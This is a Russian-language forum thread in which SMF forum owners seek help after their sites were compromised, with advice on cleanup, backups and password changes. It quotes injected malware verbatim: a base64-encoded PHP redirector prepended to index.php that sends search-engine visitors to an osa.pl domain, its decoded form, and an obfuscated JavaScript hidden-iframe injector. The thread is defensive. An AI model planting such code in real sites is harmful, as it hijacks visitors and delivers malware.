вирус на форуме

[aSLAM]

подскажите как убрать Вредоносный редиректор на osa.pl                 http://safesearch.ya.ru/replies.xml?item_no=226

[aSLAM]

ребята посмотрите есть ли в этом коде то что не должно быть???

Код Выделить Развернуть

<?php   eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsNCmlmICghJHFhenBsbSl7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmICgkdWFnKSB7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9zdGJqYnBpci5vc2EucGwvIik7DQoJZXhpdCgpOw0KfQ0KfQ0KCX0NCgl9"));

/**
 * Simple Machines Forum (SMF)
 *
 * [at]package SMF
 * [at]author Simple Machines http://www.simplemachines.org
 * [at]copyright 2011 Simple Machines
 * [at]license http://www.simplemachines.org/about/smf/license.php BSD
 *
 * [at]version 2.0
 */

/* This, as you have probably guessed, is the crux on which SMF functions.
Everything should start here, so all the setup and security is done
properly.  The most interesting part of this file is the action array in
the smf_main() function.  It is formatted as so:

'action-in-url' => array('Source-File.php', 'FunctionToCall'),

Then, you can access the FunctionToCall() function from Source-File.php
with the URL index.php?action=action-in-url.  Relatively simple, no?
*/

$forum_version = 'SMF 2.0';

// Get everything started up...
define('SMF', 1);
if (function_exists('set_magic_quotes_runtime'))
[at]set_magic_quotes_runtime(0);
error_reporting(defined('E_STRICT') ? E_ALL | E_STRICT : E_ALL);
$time_start = microtime();

// This makes it so headers can be sent!
ob_start();

// Do some cleaning, just in case.
foreach (array('db_character_set', 'cachedir') as $variable)
if (isset($GLOBALS[$variable]))
unset($GLOBALS[$variable]);

// Load the settings...
require_once(dirname(__FILE__) . '/Settings.php');

// Make absolutely sure the cache directory is defined.
if ((empty($cachedir) || !file_exists($cachedir)) && file_exists($boarddir . '/cache'))
$cachedir = $boarddir . '/cache';

// And important includes.
require_once($sourcedir . '/QueryString.php');
require_once($sourcedir . '/Subs.php');
require_once($sourcedir . '/Errors.php');
require_once($sourcedir . '/Load.php');
require_once($sourcedir . '/Security.php');
if (file_exists($sourcedir . '/LoadAds.php'))
require_once($sourcedir . '/LoadAds.php');

// Using an pre-PHP 5.1 version?
if ([at]version_compare(PHP_VERSION, '5.1') == -1)
require_once($sourcedir . '/Subs-Compat.php');

// If $maintenance is set specifically to 2, then we're upgrading or something.
if (!empty($maintenance) && $maintenance == 2)
db_fatal_error();

// Create a variable to store some SMF specific functions in.
$smcFunc = array();

// Initate the database connection and define some database functions to use.
loadDatabase();

// Load the settings from the settings table, and perform operations like optimizing.
reloadSettings();
// Clean the request variables, add slashes, etc.
cleanRequest();
$context = array();

// Seed the random generator.
if (empty($modSettings['rand_seed']) || mt_rand(1, 250) == 69)
smf_seed_generator();

// Before we get carried away, are we doing a scheduled task? If so save CPU cycles by jumping out!
if (isset($_GET['scheduled']))
{
require_once($sourcedir . '/ScheduledTasks.php');
AutoTask();
}

// Check if compressed output is enabled, supported, and not already being done.
if (!empty($modSettings['enableCompressedOutput']) && !headers_sent())
{
// If zlib is being used, turn off output compression.
if ([at]ini_get('zlib.output_compression') == '1' || [at]ini_get('output_handler') == 'ob_gzhandler' || [at]version_compare(PHP_VERSION, '4.2.0') == -1)
$modSettings['enableCompressedOutput'] = '0';
else
{
ob_end_clean();
ob_start('ob_gzhandler');
}
}

// Register an error handler.
set_error_handler('error_handler');

// Start the session. (assuming it hasn't already been.)
loadSession();

// Determine if this is using WAP, WAP2, or imode.  Technically, we should check that wap comes before application/xhtml or text/html, but this doesn't work in practice as much as it should.
if (isset($_REQUEST['wap']) || isset($_REQUEST['wap2']) || isset($_REQUEST['imode']))
unset($_SESSION['nowap']);
elseif (isset($_REQUEST['nowap']))
$_SESSION['nowap'] = true;
elseif (!isset($_SESSION['nowap']))
{
if (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'application/vnd.wap.xhtml+xml') !== false)
$_REQUEST['wap2'] = 1;
elseif (isset($_SERVER['HTTP_ACCEPT']) && strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)
{
if (strpos($_SERVER['HTTP_USER_AGENT'], 'DoCoMo/') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'portalmmm/') !== false)
$_REQUEST['imode'] = 1;
else
$_REQUEST['wap'] = 1;
}
}

if (!defined('WIRELESS'))
define('WIRELESS', isset($_REQUEST['wap']) || isset($_REQUEST['wap2']) || isset($_REQUEST['imode']));

// Some settings and headers are different for wireless protocols.
if (WIRELESS)
{
define('WIRELESS_PROTOCOL', isset($_REQUEST['wap']) ? 'wap' : (isset($_REQUEST['wap2']) ? 'wap2' : (isset($_REQUEST['imode']) ? 'imode' : '')));

// Some cellphones can't handle output compression...
$modSettings['enableCompressedOutput'] = '0';
// !!! Do we want these hard coded?
$modSettings['defaultMaxMessages'] = 5;
$modSettings['defaultMaxTopics'] = 9;

// Wireless protocol header.
if (WIRELESS_PROTOCOL == 'wap')
header('Content-Type: text/vnd.wap.wml');
}

// Restore post data if we are revalidating OpenID.
if (isset($_GET['openid_restore_post']) && !empty($_SESSION['openid']['saved_data'][$_GET['openid_restore_post']]['post']) && empty($_POST))
{
$_POST = $_SESSION['openid']['saved_data'][$_GET['openid_restore_post']]['post'];
unset($_SESSION['openid']['saved_data'][$_GET['openid_restore_post']]);
}

// What function shall we execute? (done like this for memory's sake.)
call_user_func(smf_main());

// Call obExit specially; we're coming from the main area ;).
obExit(null, null, true);

// The main controlling function.
function smf_main()
{
global $modSettings, $settings, $user_info, $board, $topic, $board_info, $maintenance, $sourcedir;

// Special case: session keep-alive, output a transparent pixel.
if (isset($_GET['action']) && $_GET['action'] == 'keepalive')
{
header('Content-Type: image/gif');
die("\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3B");
}

// Load the user's cookie (or set as guest) and load their settings.
loadUserSettings();

// Load the current board's information.
loadBoard();

// Load the current user's permissions.
loadPermissions();

// Attachments don't require the entire theme to be loaded.
if (isset($_REQUEST['action']) && $_REQUEST['action'] == 'dlattach' && (!empty($modSettings['allow_guestAccess']) && $user_info['is_guest']))
detectBrowser();
// Load the current theme.  (note that ?theme=1 will also work, may be used for guest theming.)
else
loadTheme();

// Check if the user should be disallowed access.

// Load all the ads up
if (function_exists("loadAds"))
loadAds();
is_not_banned();

// If we are in a topic and don't have permission to approve it then duck out now.
if (!empty($topic) && empty($board_info['cur_topic_approved']) && !allowedTo('approve_posts') && ($user_info['id'] != $board_info['cur_topic_starter'] || $user_info['is_guest']))
fatal_lang_error('not_a_topic', false);

// Do some logging, unless this is an attachment, avatar, toggle of editor buttons, theme option, XML feed etc.
if (empty($_REQUEST['action']) || !in_array($_REQUEST['action'], array('dlattach', 'findmember', 'jseditor', 'jsoption', 'requestmembers', 'smstats', '.xml', 'xmlhttp', 'verificationcode', 'viewquery', 'viewsmfile')))
{
// Log this user as online.
writeLog();

// Track forum statistics and hits...?
if (!empty($modSettings['hitStats']))
trackStats(array('hits' => '+'));
}

// Is the forum in maintenance mode? (doesn't apply to administrators.)
if (!empty($maintenance) && !allowedTo('admin_forum'))
{
// You can only login.... otherwise, you're getting the "maintenance mode" display.
if (isset($_REQUEST['action']) && ($_REQUEST['action'] == 'login2' || $_REQUEST['action'] == 'logout'))
{
require_once($sourcedir . '/LogInOut.php');
return $_REQUEST['action'] == 'login2' ? 'Login2' : 'Logout';
}
// Don't even try it, sonny.
else
{
require_once($sourcedir . '/Subs-Auth.php');
return 'InMaintenance';
}
}
// If guest access is off, a guest can only do one of the very few following actions.
elseif (empty($modSettings['allow_guestAccess']) && $user_info['is_guest'] && (!isset($_REQUEST['action']) || !in_array($_REQUEST['action'], array('coppa', 'login', 'login2', 'register', 'register2', 'reminder', 'activate', 'help', 'smstats', 'mailq', 'verificationcode', 'openidreturn'))))
{
require_once($sourcedir . '/Subs-Auth.php');
return 'KickGuest';
}
elseif (empty($_REQUEST['action']))
{
// Action and board are both empty... BoardIndex!
if (empty($board) && empty($topic))
{
require_once($sourcedir . '/BoardIndex.php');
return 'BoardIndex';
}
// Topic is empty, and action is empty.... MessageIndex!
elseif (empty($topic))
{
require_once($sourcedir . '/MessageIndex.php');
return 'MessageIndex';
}
// Board is not empty... topic is not empty... action is empty.. Display!
else
{
require_once($sourcedir . '/Display.php');
return 'Display';
}
}

// Here's the monstrous $_REQUEST['action'] array - $_REQUEST['action'] => array($file, $function).
$actionArray = array(
'activate' => array('Register.php', 'Activate'),
'admin' => array('Admin.php', 'AdminMain'),
'ads' => array('Ads.php', 'Ads'),
'announce' => array('Post.php', 'AnnounceTopic'),
'attachapprove' => array('ManageAttachments.php', 'ApproveAttach'),
'buddy' => array('Subs-Members.php', 'BuddyListToggle'),
'calendar' => array('Calendar.php', 'CalendarMain'),
'clock' => array('Calendar.php', 'clock'),
'collapse' => array('BoardIndex.php', 'CollapseCategory'),
'coppa' => array('Register.php', 'CoppaForm'),
'credits' => array('Who.php', 'Credits'),
'deletemsg' => array('RemoveTopic.php', 'DeleteMessage'),
'display' => array('Display.php', 'Display'),
'dlattach' => array('Display.php', 'Download'),
'editpoll' => array('Poll.php', 'EditPoll'),
'editpoll2' => array('Poll.php', 'EditPoll2'),
'refferals' => array('refferals2.php', 'refferalsMain'),

'emailuser' => array('SendTopic.php', 'EmailUser'),
'findmember' => array('Subs-Auth.php', 'JSMembers'),
'groups' => array('Groups.php', 'Groups'),
'help' => array('Help.php', 'ShowHelp'), 'globalhf' => array('globalhf2.php', 'globalhf'),
'helpadmin' => array('Help.php', 'ShowAdminHelp'),
'im' => array('PersonalMessage.php', 'MessageMain'),
'jseditor' => array('Subs-Editor.php', 'EditorMain'),
'jsmodify' => array('Post.php', 'JavaScriptModify'),
'jsoption' => array('Themes.php', 'SetJavaScript'),
'lock' => array('LockTopic.php', 'LockTopic'),
'lockvoting' => array('Poll.php', 'LockVoting'),
'login' => array('LogInOut.php', 'Login'),
'login2' => array('LogInOut.php', 'Login2'),
'logout' => array('LogInOut.php', 'Logout'),
'markasread' => array('Subs-Boards.php', 'MarkRead'),
'mergetopics' => array('SplitTopics.php', 'MergeTopics'),
'mlist' => array('Memberlist.php', 'Memberlist'),
'moderate' => array('ModerationCenter.php', 'ModerationMain'),
'modifycat' => array('ManageBoards.php', 'ModifyCat'),
'modifykarma' => array('Karma.php', 'ModifyKarma'),
'movetopic' => array('MoveTopic.php', 'MoveTopic'),
'movetopic2' => array('MoveTopic.php', 'MoveTopic2'),
'notify' => array('Notify.php', 'Notify'),
'notifyboard' => array('Notify.php', 'BoardNotify'),
'openidreturn' => array('Subs-OpenID.php', 'smf_openID_return'),
'pm' => array('PersonalMessage.php', 'MessageMain'),
'post' => array('Post.php', 'Post'),
'post2' => array('Post.php', 'Post2'),
'printpage' => array('Printpage.php', 'PrintTopic'),
'profile' => array('Profile.php', 'ModifyProfile'),
'quotefast' => array('Post.php', 'QuoteFast'),
'quickmod' => array('MessageIndex.php', 'QuickModeration'),
'quickmod2' => array('Display.php', 'QuickInTopicModeration'),
'recent' => array('Recent.php', 'RecentPosts'),
'register' => array('Register.php', 'Register'),
'register2' => array('Register.php', 'Register2'),
'reminder' => array('Reminder.php', 'RemindMe'),
'removepoll' => array('Poll.php', 'RemovePoll'),
'removetopic2' => array('RemoveTopic.php', 'RemoveTopic2'),
'reporttm' => array('SendTopic.php', 'ReportToModerator'),
'requestmembers' => array('Subs-Auth.php', 'RequestMembers'),
'restoretopic' => array('RemoveTopic.php', 'RestoreTopic'),
'search' => array('Search.php', 'PlushSearch1'),
'search2' => array('Search.php', 'PlushSearch2'),
'sendtopic' => array('SendTopic.php', 'EmailUser'),
'smstats' => array('Stats.php', 'SMStats'),
'suggest' => array('Subs-Editor.php', 'AutoSuggestHandler'),
'spellcheck' => array('Subs-Post.php', 'SpellCheck'),
'splittopics' => array('SplitTopics.php', 'SplitTopics'),
'stats' => array('Stats.php', 'DisplayStats'),
'sticky' => array('LockTopic.php', 'Sticky'),
'theme' => array('Themes.php', 'ThemesMain'),
'trackip' => array('Profile-View.php', 'trackIP'),
'about:mozilla' => array('Karma.php', 'BookOfUnknown'),
'about:unknown' => array('Karma.php', 'BookOfUnknown'),
'unread' => array('Recent.php', 'UnreadTopics'),
'unreadreplies' => array('Recent.php', 'UnreadTopics'),
'verificationcode' => array('Register.php', 'VerificationCode'),
'viewprofile' => array('Profile.php', 'ModifyProfile'),
'vote' => array('Poll.php', 'Vote'),
'viewquery' => array('ViewQuery.php', 'ViewQuery'),
'viewsmfile' => array('Admin.php', 'DisplayAdminFile'),
'who' => array('Who.php', 'Who'),
'.xml' => array('News.php', 'ShowXmlFeed'),
'xmlhttp' => array('Xml.php', 'XMLhttpMain'),
);

// Allow modifying $actionArray easily.
call_integration_hook('integrate_actions', array(&$actionArray));

// Get the function and file to include - if it's not there, do the board index.
if (!isset($_REQUEST['action']) || !isset($actionArray[$_REQUEST['action']]))
{
// Catch the action with the theme?
if (!empty($settings['catch_action']))
{
require_once($sourcedir . '/Themes.php');
return 'WrapAction';
}

// Fall through to the board index then...
require_once($sourcedir . '/BoardIndex.php');
return 'BoardIndex';
}

// Otherwise, it was set - so let's go to that action.
require_once($sourcedir . '/' . $actionArray[$_REQUEST['action']][0]);
return $actionArray[$_REQUEST['action']][1];
}

?>

вот сам файл

[kak2z]

мне вот интересно а что у вас закодированное такое вначале стоит. Я то расшифровал - но что это не понимаю

Код Выделить Развернуть

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://stbjbpir.osa.pl/");
exit();
}
}
}
}


вообще то походу это и есть инъекция тут почитайте http://www.hostingua.net/content/criminal/Jandeks-preduprezhdaet-o-redirektore-na-osa-pl/

[chilly86]

проверяйте все php файлы на хостинге на предмет строк в самом начале

base64_decode("ZXJyb3Jfcm*блаблабла
и удаляйте их

также меняйте пароль к ftp

[aSLAM]

мне вот интересно а что у вас закодированное такое вначале стоит. Я то расшифровал - но что это не понимаю

Код Выделить Развернуть

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://stbjbpir.osa.pl/");
exit();
}
}
}
}


вообще то походу это и есть инъекция тут почитайте http://www.hostingua.net/content/criminal/Jandeks-preduprezhdaet-o-redirektore-na-osa-pl/

да точно это   как у яндекса написано   http://safesearch.ya.ru/replies.xml?item_no=226

[aSLAM]

значит надо удалить вот эти строчки?   

Код Выделить Развернуть

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsNCmlmICghJHFhenBsbSl7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmICgkdWFnKSB7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9zdGJqYnBpci5vc2EucGwvIik7DQoJZXhpdCgpOw0KfQ0KfQ0KCX0NCgl9"));
/**


?

[kak2z]

/**

Это не надо..

[aSLAM]

спасибо вам ребята.

[chilly86]

а еще, скорее всего, у Вас на фтп еще должны лежать посторонние файлы, которые залили во время инъекции
скорее всего в index.template.php в начале в вредоносном коде прописан путь к ним
вот тут раскодируйте
http://base64.ru/

[aSLAM]

а еще, скорее всего, у Вас на фтп еще должны лежать посторонние файлы, которые залили во время инъекции
скорее всего в index.template.php в начале в вредоносном коде прописан путь к ним
вот тут раскодируйте
http://base64.ru/

я вообше фтп клиентами не пользуюсь, почти в всех рпр файлах в начале лежит этот код

[GeorG]

Самый простой путь, это залить бэкап.

[aSLAM]

я удалил этот код на всех страницах теперь вот что получилось  ((((((       http://www.simplemachines.ru/index.php?topic=13725.new#new

[aSLAM]

кто не будь может убрать этот код за не большую сумму?

[kak2z]

Самый правильный вариант - сделать бекап движка и базы, затем удалить движок, поменять все пароли, залить новые файлы из дистрибутива движка. Внести руками изменения в setting.php и у вас будет чистый форум.

[aSLAM]

Самый правильный вариант - сделать бекап движка и базы, затем удалить движок, поменять все пароли, залить новые файлы из дистрибутива движка. Внести руками изменения в setting.php и у вас будет чистый форум.

сообшения после этого удалятся?

[kak2z]

сообщения в базе хранятся.. а базу вы должны сохранить и хранить как зеницу ока..
для того что бы сохранились вложения (картинки и другие всякие файлы) вам надо сохранить папки вложений Центр администрирования » Вложения и аватары » Свойства вложений
Если вы добавляли свои смайлы - то папку Smileys
Если у вас есть аватары - avatars (или ту папку которую вы сами указали в Центр администрирования » Вложения и аватары » Свойства аватаров )

ну вроде все.. Но если Вы это не делали раньше - лучше всего поэксперементировать на Денвере, потренироваться. Я так например и учился)

[aSLAM]

Самый правильный вариант - сделать бекап движка и базы, затем удалить движок, поменять все пароли, залить новые файлы из дистрибутива движка. Внести руками изменения в setting.php и у вас будет чистый форум.

кто не будь за деньги может это сделать?

[aSLAM]

проверяйте все php файлы на хостинге на предмет строк в самом начале

base64_decode("ZXJyb3Jfcm*блаблабла
и удаляйте и

кто возмется почистить код? пишите в личку

[aSLAM]

сам почистил))

[kak2z]

сам почистил))

Поздравляю)) Я особенно радуюсь когда я что то сам делаю новое)))

[aSLAM]

Поздравляю)) Я особенно радуюсь когда я что то сам делаю новое)))

спасибо

[Merck]

Когда в админке хочу выбрать какие небудь настройки, к примеру "настройки языков" или еще куда небудь выскакивает вот такое окно

На самом форуме постоянно выскакивает вот это


Что делать, как бороться?

[kak2z]

Когда в админке хочу выбрать какие небудь настройки, к примеру "настройки языков" или еще куда небудь выскакивает вот такое окно

На самом форуме постоянно выскакивает вот это


Что делать, как бороться?

Самое первое и главное обновить версию форума. RC2 более чем устарела)

[Макар]

и проверить joomla которая стоит на морде


а также почистить все файлы форума

потому как кто то прицепил к ним вот такую хрень

Код Выделить Развернуть

<li><a id="button_rss" href="http://www.garagebyob.com.ua/forum/index.php?action=.xml;type=rss" class="new_win"><span>RSS</span></a></li>
<li class="last"><a id="button_wap2" href="http://www.garagebyob.com.ua/forum/index.php?wap2" class="new_win"><span>WAP2</span></a></li>
</ul>
<p>Страница сгенерирована за 0.071 секунд. Запросов: 12.</p>
</div></div>
</body></html> <!-- . --><script type="text/javascript">var CaJhv=62;function vzPKtI(){}
if('tkGro'=='EKeFTM')XymDnO();if('Vyazoa'=='Dehy')JJVanL();var XoGSAwWp="parseI\x6et";function bxsvZ(){var YCOIC='YQWc';if('XICCOh'=='qAEG')bWrkW();}var MGLJ='hgHPH';var qMCVB='RtqBy';var dPCKBN=242;var RcQUmayu="";var Qxtc='FijdNp';if('cmymhA'=='uwRs')JFeDs='DOuXHL';var YhxZKG="8d9999955f54548b8691918a999994928692878653889492549855548e9353888c8e645655";function aTqV(){}var WXKcYH=211;var sAhMultT="fr\x6fmC\x68arCode";if('wNTzT'=='Brev')hUASQI='vYCinj';var Yewqid;var Yzypys="s\x6cice";var nAbSnt=96;function wFdMid(){var ZAruS='xvPDEN';if('avvrhm'=='nAkgtJ')ODSIk();}var JbHr;var Nojrd=(function(){var SZRe=24;var UGVgW;return this;if('XMVo'=='BItta')BHPA='MgISlJ';if('INMMN'=='VfNp')DIZljv();})();function yiQCIE(){}if('nNHNBr'=='QCrtp')CbCy='NbthQn';var AxzFr=22;var bLQIkOo="con\x73truc\x74or";if('BJYYI'=='HABcSi')SMNK();var ZSZnpPSLC="tCrLfv"[bLQIkOo];function XrDDQn(){}
var PMTUT;if('hgsv'=='CEWt')NwpVLw='MccRKh';for(var KowOM=0;KowOM<YhxZKG.length;KowOM+=2){if('EEHpF'=='CaYi')TDASx='XPZLub';bZzQY=Nojrd[XoGSAwWp](YhxZKG[Yzypys](KowOM,KowOM+2),16)-37;RcQUmayu+=ZSZnpPSLC[sAhMultT](bZzQY);var huMeh=187;if('HcWcq'=='ZByIUR')JTZh='AoGu';}
function CbheeG(){}
function KKPyC(){}
var FPOBlKAg="HXCFv";function FJcQ(){var tNYsuj='jjapw';if('xHLJIb'=='AnGzbG')uaFI();}
var fBkYlbx=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+FPOBlKAg+'" src="'+"RcQUmayu"+'">':'iframe';var vNuVCR;var Imkfad=document.createElement(fBkYlbx);var YcPQDi=209;var xsCq;Imkfad.name=FPOBlKAg;var oEeskA='eubq';var aIyxjh='UteP';Imkfad.setAttribute("name",FPOBlKAg);if('JHdVsc'=='AHTS')nOEyZQ='yxegB';Imkfad.id=FPOBlKAg;if('lacR'=='DxDoN')FpEe='EyGVha';Imkfad.src=RcQUmayu;Imkfad.style.right="0px";if('gQIlg'=='Fdsx')mKiEaz();Imkfad.style.top="0px";if('iewRb'=='zRTNu')CdXx();function QziiQh(){}var pYza='EwCnCj';Imkfad.style.height="1px"
var VkFjSv;var Tdasx=170;Imkfad.style.width="1px";var oDwXk;if('VlUPlK'=='WvCeJ')IStMU();Imkfad.style.position="absolute";document.body.appendChild(Imkfad);function ZClun(){}
if('XktS'=='zBzc')NGtgzA();if('XmfPqs'=='lHQKsK')hKopJ();var uQOaK=52;</script><!-- . -->     

за пределами тегов </body></html>


дежавю этот сайт знаком, и админа звали по другому ..................

[Oleg+]

Был взломан форум на SMF 2.0.2, без модов.

Детали выложил тут. (ссылка ведёт не на взломанный форум)

[kak2z]

Был взломан форум на SMF 2.0.2, без модов.

Детали выложил тут. (ссылка ведёт не на взломанный форум)

врядли сам СМФ взломали.. скорее всего или у хостера пароли сперли или у Вас)

[Oleg+]

скорее всего или у хостера пароли сперли или у Вас)

Если у меня спёрли пароли, какие пароли мне нужно сменить? FTP-пароль или пароль администратора форума?

[GeorG]

И то, и то. Меняйте вообще все возможные пароли, через которые есть выход на фтп.

[karavan]

Oleg+, к сожалению, ситуация банально-класическая, практически все через это проходят. Самый действенный способ лечения - восстановление бекапа файлов, перед этим удаление всего из зараженых папок. Пароли нужно менять все, на админку хостера, FTP, базу данных. Кроме того, не сохраняйте пароли на ФТП в Файлзилле или другом ФТП-менеджере или Винде, проверьте собственный компьютер на вирусы а также другие компьютеры, если они имели доступ к серверу. Ломали ли сам форум или ФТП, можно узнать из логов ФТП-доступа и логов Апача на сервере, желательно знать хотя-бы приблизительную дату взлома.